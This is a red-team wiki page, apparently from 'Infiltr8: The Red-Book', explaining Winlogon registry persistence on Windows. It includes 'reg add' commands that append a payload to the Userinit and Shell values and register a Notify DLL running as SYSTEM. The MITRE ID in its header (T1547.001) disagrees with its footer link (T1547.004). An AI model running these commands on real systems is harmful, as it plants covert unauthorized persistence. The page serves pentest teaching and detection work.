Infiltr8: The Red-Book
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  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • 🛠️Maltego
      • 🛠️Specialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
          • Authentication Package
        • Natural Language 6 DLLs Persistence
        • Run Keys Persistence
        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • 🛠️Udev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • 🛠️Commandline Obfusaction
        • 🛠️PE Obfuscation
        • 🛠️String Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • 🛠️Process & Services
    • Privilege Escalation
      • Windows
        • Tools ⚙️
        • PowerShell Logging
        • Credentials In Files
        • Abusing Tokens
        • Insecure Services
          • Weak Service Permissions
          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
        • AlwaysInstallElevated
        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • 🛠️DirtyCow
          • 🛠️RDS
          • 🛠️Full Nelson
          • 🛠️Mempodipper
        • GLIBC Exploits
          • Looney Tunables
        • Polkit Exploits
          • PwnKit
          • D-Bus Authentication Bypass
        • Sudo Exploits
          • Sudo Binaries
          • Sudo Misconfigurations
          • Reuse Sudo Tokens
          • User Restriction Bypass
          • Pwfeedback BOF
          • Baron Samedit
          • Sudoedit Bypass
        • SUID Binaries
        • Script Exploits
          • Python
            • Pip Download Code Execution
            • PyInstaller Code Execution
            • Pytorch Models/PTH Files Code Execution
          • Ruby
          • Bash
          • Perl
        • Scheduled tasks
          • Cron Jobs
          • Systemd timers
        • Interesting Groups
          • Lxd
        • Capabilities
        • NFS no_root_squash/no_all_squash
        • Linux Active Directory
    • Credential Access
      • Password Stores
        • Windows Credential Manager
        • KeePass
        • Web Browsers
      • Unsecured Credentials
        • Credentials In Files
        • VNC Config
        • SSH Private Keys
        • Git Repositories
        • Veeam Backup
        • Network shares
        • Network protocols
      • OS Credentials
        • Windows & Active Directory
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Kerberos key list
          • Group Policy Preferences
          • AutoLogon Registry
          • In-memory secrets
          • Cached Kerberos tickets
        • Linux
          • Shadow File
          • In-memory secrets
          • Linux Cached Kerberos tickets
      • MITM and coerced auths
      • Password Attacks
        • Default, weak & Leaked Passwords
        • Generate Wordlists
        • Brute-Force
          • Online - Attacking Services
          • Offline - Password Cracking
      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
      • HTTP(s) Tunneling
      • SSH Tunneling
      • DNS Tunneling
      • SMB-based
      • WinRM
      • Remote WMI
      • DCOM
      • Scheduled Tasks (ATSVC)
      • Services (SVCCTL)
    • Exfiltration
      • Exfiltration over ICMP
      • Exfiltration Over DNS
      • Exfiltration Over HTTP(s)
      • Exfiltration Over SMB
  • Web Pentesting
    • Reconnaissance
      • Subdomains enumeration
      • WAF Enumeration
    • Infrastructures
      • DBMS
        • Enum Databases
        • Read/Write/Execute
      • DNS
        • Subdomain Takeover
      • Web Servers
        • Nginx
        • Apache
          • Apache Commons Text
          • Apache Tomcat
      • CMS
        • Wordpress
        • 🛠️Joomla
        • 🛠️Drupal
        • 🛠️Bolt CMS
      • Frameworks
        • Spring Framework
          • Spring Routing Abuse
          • Spring Boot Actuators
          • Spring View Manipulation
        • Werkzeug
        • 🛠️Django
        • 🛠️Flask
        • 🛠️Laravel
      • CGI
    • Web Vulnerabilities
      • Server-Side
        • NoSQL Injection
        • SQL Injection
          • UNION Attacks
          • Blind Attacks
            • Boolean Based
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        • Insecure Deserialization
          • .NET Deserialization
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          • PHP Deserialization
          • 🛠️Java Deserialization
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        • File Inclusion & Path Traversal
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            • /proc
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            • Segmentation Fault
          • RFI to RCE
        • Command Injection
        • Brute-Force
        • SSTI (Server-Side Template Injection)
        • Exposed Git Repositories
        • 🛠️File Upload
      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
      • NFS
      • MS-RPC
      • MSSQL
      • NBT-NS (NetBIOS)
      • Oracle TNS
      • RDP
      • Rsync
      • SMB
      • SMTP
      • SNMP
      • SSH
      • WebDAV
      • WinRM
      • XMPP/Jabber
      • 🛠️RPC Port Mapper
      • 🛠️FTP
      • 🛠️Telnet
      • 🛠️MySQL
    • WiFi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools ⚙️
        • PowerView ⚙️
        • Responder ⚙️
        • BloodHound ⚙️
        • enum4linux ⚙️
      • Network
        • DHCP
        • DNS
        • NBT-NS
        • Port scanning
        • SMB
        • LDAP
        • MS-RPC
      • Objects & Settings
        • DACLs
        • Group policies
        • Password policy
        • LAPS
    • Movement
      • Credentials
        • Dumping
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          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
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        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • MS-EVEN abuse (CheeseOunce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • Living off the land
        • 🛠️NBT Name Overwrite
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      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
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        • Pass the key
        • Overpass the hash
        • Pass the ticket
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        • Forged tickets
          • Silver tickets
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          • MS14-068
        • ASREQroast
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        • Delegations
          • (KUD) Unconstrained
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          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate - PKINIT
        • sAMAccountName spoofing
        • SPN-jacking
      • Netlogon
        • ZeroLogon
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • WriteOwner
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • Schannel
        • Pass the Certificate - Schannel
      • SCCM / MECM
        • Privilege Escalation
        • Post Exploitation
      • Exchange services
        • PrivExchange
        • ProxyLogon
        • ProxyShell
        • ProxyNotShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Built-ins & settings
        • Builtin Groups
          • DNSAdmins
          • AD Recycle Bin
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
      • GoldenGMSA
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • LAPS
      • 🛠️DC Shadow
      • 🛠️Access controls
  • 🛠️Cloud & CI/CD Pentesting
    • CI/CD
      • Ansible Pentesting
      • Artifactory Pentesting
      • Docker Registry
        • 🛠️HTTP API V2
      • 🛠️Kubernetes
      • 🛠️GitLab
      • 🛠️Github
      • 🛠️Gitea
      • 🛠️Jenkins
      • 🛠️Terraform
    • Azure Pentesting
      • Reconnaissance
        • Tools ⚙️
        • Unauthenticated Reconnaissance
        • Internal Reconnaissance
      • Movement
        • Credentials
          • Password Spraying
          • Token Manipulation
            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
          • Storage Accounts
          • Virtual Machines
          • Automation
          • Databases
        • Role-Based Access
        • Conditional Access
        • Service Principals & Applications
        • Hybrid Identity
          • Password Hash Sync (PHS)
          • Pass-through Authentication (PTA)
          • Active Directory Federation Services (ADFS)
          • Seamless SSO
          • Cloud Kerberos Trust
        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
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  1. Red-Teaming
  2. Persistence
  3. Windows

Winlogon Persistence

MITRE ATT&CK™ Boot or Logon Autostart Execution: Winlogon Helper DLL - Technique T1547.001

Theory

Winlogon is a critical Windows component responsible for handling user logins, loading user profiles, and managing session behaviors post-authentication. Attackers can abuse Winlogon registry keys to establish persistence by configuring malicious executables or DLLs to execute during the login process.

Registry Keys & Their Behaviors:

The following keys can be modified for persistence:

  • Shell – Specifies the user shell (default: explorer.exe). Replacing this value with a malicious executable ensures it is launched instead of (or alongside) Explorer.

  • Userinit – Defines the path of userinit.exe, which is responsible for setting up the user environment after login. Adding a malicious binary here ensures execution before the user's desktop loads.

  • Notify – Points to a DLL that is loaded into Winlogon’s process for handling session-related events (e.g., lock, unlock, login, logout). A malicious DLL here will be loaded by winlogon.exe, often running with SYSTEM privileges.

Practice

Registry entries under HKU/HKCU will only apply to the user. Registry entries under HKLM will apply to everyone

If we'd replace any of the executables with some reverse shell, we would break the logon sequence, which isn't desired. Interestingly, you can append commands separated by a comma, and Winlogon will process them all.

We may edit the Userinit key to make our payload executed during Windows logon

  • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\System32\Userinit.exe, C:\Windows\evil.exe" /f

We may edit the Shell key to make our payload executed during Windows logon

  • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, C:\Windows\evil.exe" /f

We may edit the Notify key to make our payload executed during Windows logon. This registry key is typically found in older operating systems (prior to Windows 7) and it points to a notification package DLL file which handles Winlogon events. Replacing DLL entries under this registry key with an arbitrary DLL will cause Windows to execute it during logon.

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify

Add the following values and keys to the registry. These values communicate to Winlogon.exe and let it know which procedures to run during an event notification. Add as few or as many notification events as needed.


HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\NameOfProject
       \Asynchronous  REG_DWORD  0
       \Dllname       REG_SZ     NameOfDll.dll
       \Impersonate   REG_DWORD  0
       \Logon         REG_SZ     StartProcessAtWinLogon
       \Logoff        REG_SZ     StopProcessAtWinLogoff
       \...           REG_SZ     NameOfFunction

The DLL will be executed with SYSTEM level privileges

The DLL should be in %NTROOT%\system32

#Create Project in Notify
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon"

#Create subkeys
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_DWORD /v Asynchronous /d 0
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_DWORD /v Asynchronous /d 0
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_SZ /v Dllname /d "evillogon.dll" 
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_SZ /v Logon /d "StartProcessAtWinLogon"
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\EvilLogon" /t REG_SZ /v Logoff /d "StartProcessAtWinLogon"
...

Resources

Last updated 1 month ago

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LogoBoot or Logon Autostart Execution: Winlogon Helper DLL, Sub-technique T1547.004 - Enterprise | MITRE ATT&CK®